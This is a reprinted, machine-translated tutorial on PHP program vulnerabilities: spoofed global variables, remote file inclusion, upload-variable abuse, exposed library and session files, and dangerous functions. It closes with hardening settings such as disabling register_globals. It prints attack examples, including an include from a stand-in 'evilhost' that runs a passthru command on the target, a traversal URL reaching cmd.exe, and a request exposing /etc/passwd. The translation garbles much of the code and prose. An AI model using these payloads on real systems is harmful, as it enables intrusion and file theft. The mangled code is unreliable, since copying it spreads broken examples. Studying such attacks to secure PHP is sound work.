Common vulnerability attack analysis of PHP programs and php program vulnerability attack _ PHP Tutorial

Common vulnerability attack analysis of PHP programs and php program vulnerability attacks. Analysis of common PHP program vulnerability attacks, Summary of php program vulnerability attacks: PHP programs are not fixed. with the widespread use of PHP, some hackers do not want to bother with PHP, common vulnerability attack analysis of PHP programs and php program vulnerability attacks

Summary: PHP programs are not solid. with the widespread use of PHP, some hackers do not want to bother with PHP, and attacks by using PHP program vulnerabilities are one of them. In this section, we will analyze the security of PHP in terms of global variables, remote files, file uploads, library files, Session files, data types, and error-prone functions.

How to use global variables for attacks?

Variables in PHP do not need to be declared in advance. they are automatically created during the first use and their types are automatically determined according to the context. From the programmer's point of view, this is undoubtedly an extremely convenient processing method. Once a variable is created, it can be used anywhere in the program. The result of this feature is that programmers seldom initialize variables.

Obviously, the main functions of PHP-based applications generally accept user input (mainly form variables, upload files and cookies), and then process the input data, then return the result to the client browser. To make PHP code as easy as possible to access user input, PHP treats the input data as a global variable.

For example:

Program code

<Form method = "GET" ACTION = "test. php"> <Input type = "TEXT" NAME = "hello"> <Input type = "SUBMIT"> </FORM>

This displays a text box and the submit button. When a user clicks the submit button, "test. php" processes user input. when "test. php" runs, "$ hello" contains user input data in the text box. We can see from this that attackers can create arbitrary global variables as they wish. If an attacker does not use form input to call "test. php", he directly enters http: // server/test. php in the browser address bar? Hello = hi & setup = no. then, not only "$ hello" is created, but "$ setup" is also created.

The following user authentication code exposes the security issues caused by the global variables of PHP:

Program code

<? Php If ($ pass = "hello ") $ Auth = 1; ... If ($ auth = 1) Echo "some important information "; ?>

The above code first checks whether the user's password is "hello". if yes, set "$ auth" to "1" to pass authentication. If "$ suth" is "1", some important information will be displayed.

This code assumes that "$ auth" is empty when no value is set. However, attackers can create any global variables and assign values? Auth = 1 "method, we can fool this code, make it believe that we have been authenticated.

Therefore, to improve the security of PHP programs, we cannot trust any variables that are not clearly defined. If there are many variables in the program, this is a very difficult task.

A common protection method is to check the variables in the array HTTP_GET [] or POST_VARS [], which depends on our submission method (GET or POST ). When PHP is configured to enable the "track_vars" option (this is the default value), the variables submitted by the user can be obtained in the global variables and the array mentioned above.

However, it is worth noting that PHP has four different array variables used to process user input. The HTTP_GET_VARS array is used to process the variables submitted by the GET method. the HTTP_POST_VARS array is used to process the variables submitted by the POST method. the HTTP_COOKIE_VARS array is used to process the variables submitted as cookie headers, for the HTTP_POST_FILES array (provided by newer PHP), it is completely an optional method for users to submit variables. A user request can easily store variables in these four arrays. Therefore, a safe PHP program should check these four arrays. How to launch attacks through remote files?

PHP is a language with rich features. It provides a large number of functions so that programmers can easily implement specific functions. However, from the security perspective, the more features, the more difficult it is to ensure its security. a good example of remote files proves this problem:

Program code

<? Php If (! ($ Fd = fopen ("$ filename", "r ")) Echo ("cocould not open file: $ filename \ N "); ?>

The above script tries to open the file "$ filename". if the file fails, an error message is displayed. Obviously, if we can specify "$ filename", we can use this script to browse any files in the system. However, this script also has a less obvious feature, that is, it can read files from any other WEB or FTP site. In fact, most PHP file processing functions are transparent to remote file processing.

For example:

If you specify "$ filename" as "http: // target/scripts/... % c1 % 1c ../winnt/system32/cmd.exe? /C + dir"

The above code actually uses the unicode vulnerability on the target host to execute the dir command. This makes the include (), require (), include_once () and require_once () support for remote files more interesting in the context. The main functions of these functions include the content of the specified file, and they are interpreted according to the PHP code, mainly used on the library file.

For example:

Program code

<? Php Include ($ libdir. "/ages. php "); ?>

In the above example, "$ libdir" is generally a path that has been set before code execution. if attackers can make "$ libdir" not set, they can change the path. However, attackers cannot do anything, because they can only access the file ages. php (the "pythonnull byte" attack in perl does not work for PHP) in the path they specify ). However, with support for remote files, attackers can do anything. For example, attackers can put a file named ages. php on a server, which contains the following content:

Program code

<? Php Passthru ("/bin/ls/etc "); ?>

Then, set "$ libdir" to "http: // <evilhost>/", so that we can execute the above attack code on the target host, the content in the "/etc" directory is returned to the client's browser as a result.

It should be noted that the attack code will not execute its own PHP program on its own server (that is, evilhost). Otherwise, the attack code will attack its own server, instead of running on the target server.

How can I perform attacks by uploading files?

PHP automatically supports file Upload based on RFC 1867. let's look at the example below:

Program code

<Form method = "POST" ENCTYPE = "multipart/form-data"> <Input type = "FILE" NAME = "hello"> <Input type = "HIDDEN" NAME = "MAX_FILE_SIZE" VALUE = "10240"> <Input type = "SUBMIT"> </FORM>

The code above allows the user to select a file from the local machine. after clicking submit, the file will be uploaded to the server. This is obviously a useful feature, but the PHP response method will make this feature insecure. When PHP receives such a request for the first time, and even before it starts parsing the called PHP code, it will first accept the files of remote users, check whether the file length exceeds the value defined by "$ MAX_FILE_SIZE variable". if you pass these tests, the file will be stored in a local temporary directory.
Therefore, attackers can send arbitrary files to the host running PHP. when the PHP program has not decided whether to accept file uploads, the files are already stored on the server.

Let's consider the PHP program that processes file uploads. As we mentioned above, the file is received and stored on the server (the location is specified in the configuration file, generally/tmp), the extension is generally random, similar to the "phpxXuoXG" format. The PHP program needs to upload the file information for processing, which can be used in two ways, one is already used in PHP3, the other is introduced after we propose a security bulletin for the previous method.

Most PHP programs use the old method to process uploaded files. PHP sets four global variables to describe the uploaded files. for example, the above example:

Program code

$ Hello = Filename on local machine (e. g "/tmp/phpxXuoXG ") $ Hello_size = Size in bytes of file (E.G 1024) $ Hello_name = The original name of the file on the remote system (e. g "c: \ temp \ hello.txt ") $ Hello_type = Mime type of uploaded file (e. g "text/plain ")

Then, the PHP program starts to process the files specified according to "$ hello. The problem is that "$ hello" is not necessarily a variable set in PHP, and can be specified by any remote user. If we use the following method:

Http: // vulnhost/vuln. php? Hello =/... e = 10240 & hello_type = Text/plain&hello_name=hello.txt

This leads to the following PHP global variables (of course, the POST method can also (or even Cookie )):

Program code

$ Hello = "/etc/passwd" $ Hello_size = 10240 $ Hello_type = "text/plain" $ Hello_name = "hello.txt"

The above form data meets the expected variables of the PHP program, but the PHP program no longer processes the uploaded files on the local machine of the uploader, instead, it processes the "/etc/passwd" (usually causing content exposure) file on the server. This attack can be used to expose the content of any sensitive file.

The new version of PHP uses HTTP_POST_FILES [] to decide to upload files. It also provides many functions to solve this problem. for example, a function is used to determine whether a file is actually uploaded. But in fact there must be many PHP programs still using the old method, so it is also very vulnerable to this attack.

As a variant of the file upload attack method, let's look at the following code:

Program code

<? Php If (file_exists ($ theme) // Checks the file exists on the local system (noremote files) Include ("$ theme "); ?>

If attackers can control "$ theme", it is clear that it can use "$ theme" to read any files on the remote system. The attacker's ultimate goal is to execute arbitrary commands on the remote server, but he cannot use remote files. Therefore, he must create a php file on the remote server. This seems impossible at first glance, but file uploading helps us. if attackers first create a file containing PHP code on a local machine, create a form that contains the file field named "theme", and use this form to upload the created file containing PHP code to the above code, PHP will save the file submitted by the attacker and set the value of "$ theme" to the file submitted by the attacker. in this way, the file_exists () function will pass the check, the attacker's code will also be executed.
After obtaining the ability to execute arbitrary commands, attackers obviously want to improve their permissions or expand the results. This requires a set of tools not available on the server, and the file upload has helped the attacker again. Attackers can use the upload tool to upload files, store them on the server, and use them to execute commands. then, they can use chmod () to change the file permissions and execute the commands. For example, attackers can bypass the firewall or IDS to upload a local root attack program and then execute the program to obtain the root permission.

How do I attack through library files?

As we discussed earlier, include () and require () are mainly used to support the code library, because we generally put some frequently used functions into an independent file, this independent file is the code library. when you need to use the functions, you only need to include the code library into the current file.

Initially, when people develop and publish PHP programs, to distinguish the code library from the main program code, they generally set ". inc "extension, but they soon discovered that this is an error because such files cannot be correctly parsed as PHP code by the PHP interpreter. If we directly request such a file on the server, we will get the source code of the file, because when PHP is used as an Apache module, the PHP interpreter determines whether to parse the file into PHP code based on the file extension. The extension is specified by the site administrator, generally ". php", ". php3", and ". php4 ". If important configuration data is contained in a php file without a proper extension, remote attackers can easily obtain this information.

The simplest solution is to specify a php file extension for each file, which can prevent leakage of source code, but creates new problems by requesting the file, attackers may make the code that should have been run in the context environment run independently, which may lead to all the attacks discussed above.

The following is an obvious example:

In main. php:

Program code

<? Php $ LibDir = "/libdir "; $ LangDir = "$ libdir/languages "; ... Include ("$ libdir/loadlanguage. php ": ?>

In libdir/loadlanguage. php:

<? Php ... Include ("$ langDir/$ userLang "); ?>

When "libdir/loadlanguage. php "is" main. php "calls are quite safe, but because" libdir/loadlanguage "has ". therefore, remote attackers can directly request this file and specify the values of "$ langDir" and "$ userLang.

How to use Session files for attacks?

PHP 4 or the latest version provides support for sessions. its main function is to save the status information between pages in a PHP program. For example, when a user logs on to the website, the fact that the user logs on and the information about the user logs on to the website will be saved in the session, when he browsed around the website, all PHP code can obtain the status information.

In fact, when a session is started (in fact, it is set to automatically start at the first request in the configuration file), a random "session id" will be generated ", if the remote browser always submits this "session id" when sending requests, the session will remain. This is easily achieved through cookies, or by submitting a form variable (including "session id") on each page. A php program can use session to register a special variable. its value will exist in the session file after each PHP script ends, and will be loaded into the variable before each PHP script starts. The following is a simple example:

Program code

<? Php Session_destroy (); // Kill any data currently in the session $ Session_auth = "shaun "; Session_register ("session_auth"); // Register $ session_auth as a session variable ?>

The new PHP version automatically sets the value of "$ session_auth" to "shaun". if they are modified, the modified values will be automatically accepted in future scripts, this is indeed a good tool for stateless Web, but we should be careful.

An obvious problem is to ensure that the variables do come from the session. for example, if the above code is given, if the subsequent script is as follows:

<? Php If (! Empty ($ session_auth )) // Grant access to site here ?>

The above code assumes that if "$ session_auth" is assigned a value, it is from the session rather than from the user input. If an attacker assigns a value through form input, you can obtain access to the site. Note that the attacker must use this attack method before the session registers the variable. Once the variable is put into the session, it will overwrite any form input.

Session data is generally stored in a file (the location is configurable, generally "/tmp"), and the file name is generally similar to "sess _ <session id>, this file contains the variable name, variable type, variable value, and some other data. In a multi-host system, files are saved as users running Web servers (generally nobody, therefore, malicious site owners can create a session file to obtain access to other sites, and even check the sensitive information in the session file.

The Session mechanism also provides another convenience for attackers to save their input in a remote system file. In the preceding example, an attacker needs to place a file containing PHP code in a remote system. if the file cannot be uploaded, he usually uses session to assign a value to a variable according to his own wishes, and then guesses the location of the session file. he knows that the file name is "php <session id> ", therefore, you only need to guess the directory, and the directory is generally "/tmp ".

In addition, attackers can specify a "session id" (such as "hello") at will, and then use this "session id" to create a session file (such as "/tmp/sess_hello "), however, "session id" can only be a combination of letters and numbers.

How do I use data types for attacks?

PHP has loose data types, and variable types depend on their context. For example, "$ hello" starts with a string variable and its value is "", but when it is evaluated, it becomes an integer variable "0 ", this may sometimes lead to unexpected results. If the value of "$ hello" is "000" or "0" is different, the results returned by empty () will not be true.

Arrays in PHP are associated arrays, that is, the index of arrays is string type. This means that "$ hello [" 000 "]" and "$ hello [0]" are different.

When developing a program, we should carefully consider the above issues. for example, we should not test whether a variable is "0" in one place, and use empty () in another place () to verify.

How can I use error-prone functions to perform attacks? The following is a detailed list of error-prone functions:

<PHP code execution>

Require (): read the content of the specified file and interpret it as PHP code. Include (): Same as above Eval (): Run the given string as PHP code. Preg_replace (): when used with the "/e" switch, the replacement string is interpreted as PHP code.

<Command execution>

Exec (): execute the specified command and return the last line of the execution result. Passthru (): Run the specified command to return all results to the client browser. '': Run the specified command to return all results to an array. System (): Same as passthru (), but does not process binary data Popen (): Run the specified command to connect the input or output to the PHP file descriptor.

<File leakage>

Fopen (): open the file and correspond to a php file descriptor. Readfile (): read the content of the file and output it to the client browser. File (): Read the entire file into an array.

How to Enhance PHP security?

All the attacks we introduced above can be well implemented for the default installed PHP4, but the PHP configuration is very flexible. By configuring some PHP options, we may completely resist some of these attacks. Below we classify some configurations according to the implementation difficulty:

* Low difficulty
** Medium and low difficulty
* ** Medium difficulty
* *** Difficult

If you use all the options provided by PHP, your PHP will be safe, even for third-party code, because many of the functions are no longer usable.

* *** Set "register_globals" to "off"
This option will disable PHP from creating global variables for user input. that is to say, if the user submits the form variable "hello", PHP will not create "$ hello ", instead, only "HTTP_GET/POST_VARS ['hello']" will be created. This is an extremely important option in PHP. disabling this option will cause great inconvenience to programming.

* ** Set "safe_mode" to "on"

When this option is enabled, the following restrictions are added:

1. restrict which command can be executed
2. restrict which function can be used
3. file access restrictions based on script ownership and target file ownership
4. Disable file Upload

This is a "great" option for ISP, and it can greatly improve PHP Security.

** Set "open_basedir"

This option can prevent file operations outside the specified directory, effectively eliminating attacks on local files or remote files by include (). However, you still need to pay attention to file upload and session file attacks.

** Set "display_errors" to "off" and "log_errors" to "on"

This option prohibits the display of error information on the webpage, but records it into the log file, which effectively prevents attackers from detecting functions in the target script.

* Set "allow_url_fopen" to "off"

This option disables the remote file function.

Reprinted from: http://www.aspnetjia.com/Cont-222.html

Summary: PHP programs are not solid. with the widespread use of PHP, some hackers do not want to bother with PHP...